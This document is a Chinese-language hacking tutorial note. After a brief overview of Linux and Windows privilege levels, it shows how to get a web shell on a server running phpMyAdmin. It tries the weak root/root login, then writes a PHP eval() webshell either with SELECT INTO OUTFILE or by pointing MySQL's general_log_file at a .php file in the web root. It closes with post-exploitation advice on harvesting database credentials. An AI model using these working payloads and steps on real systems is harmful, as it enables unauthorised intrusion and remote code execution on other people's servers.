权限总类
Linux
管理员UID为0:超级用户,即root用户,相当于system和administrator的集合
系统用户UID为1-999: Linux系统为了避免因某个服务程序漏洞而被黑客提权的普通用户,拥有部分权限
UID从1000开始: 是由管理员创建的用于日常工作的用户
Windows
用户及组: system adminlstrator user guest
phpmyadmin
PhpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库
phpmyadmin很可能存在弱密码root/root,phpmyadmin获得shell有两种方式
into outfile导出木马
想在网站内部插入木马,前提是你得知道网站的绝对路径,最方便的是用点击sql,select @@basedir;直接查,也可以尝试phpinfo界面查看
|show global variables like '%secure%';使用这个命令查看
show global variables like '%secure%';使用这个命令查看 | |
---|---|
Variable_name | Value |
secure_auth | OFF |
secure_file_priv | NULL |
当`secure_file_priv`为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini文件,在[mysqld]内加入secure_file_priv =""`即可(注意在phpmyadmin不能修改,只能在安装目录修改),如果不能修改只能放弃这一方法
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/www/xxx/php'; 注意Windows是\,而linux是/
利用MySQL日志文件
Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_log 和 general_log file。
general log 指的是日志保存状态,general log file 指的是日志的保存路径。查看日志状态的命令:
show variables like '%general%'; | 查看日志状态的命令 |
---|---|
Variable_name | Value |
general_log | OFF |
general_log_file | C:\phpStudy\MySQL\data\stu1.log |
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log
文件。那么,如果修改general_log_file
的值,那么所执行的sql语句就会对应生成,进而getshell。
set global general_log='on';
set global general_log_file='C:/phpStudy/www/xxx.php';
select '<?php eval($_POST["pass"]); ?>'
获得web权限途径
获得web权限后
获得Web权限后,可以寻找数据库配置文件,如果找到数据库账号密码,就可以借助数据库进行下一步的渗透,或者拿到网站后台账号密码,获得后台权限,即使数据库账号密码加密,也可以尝试破解或者直接添加密码,修改源码等方式。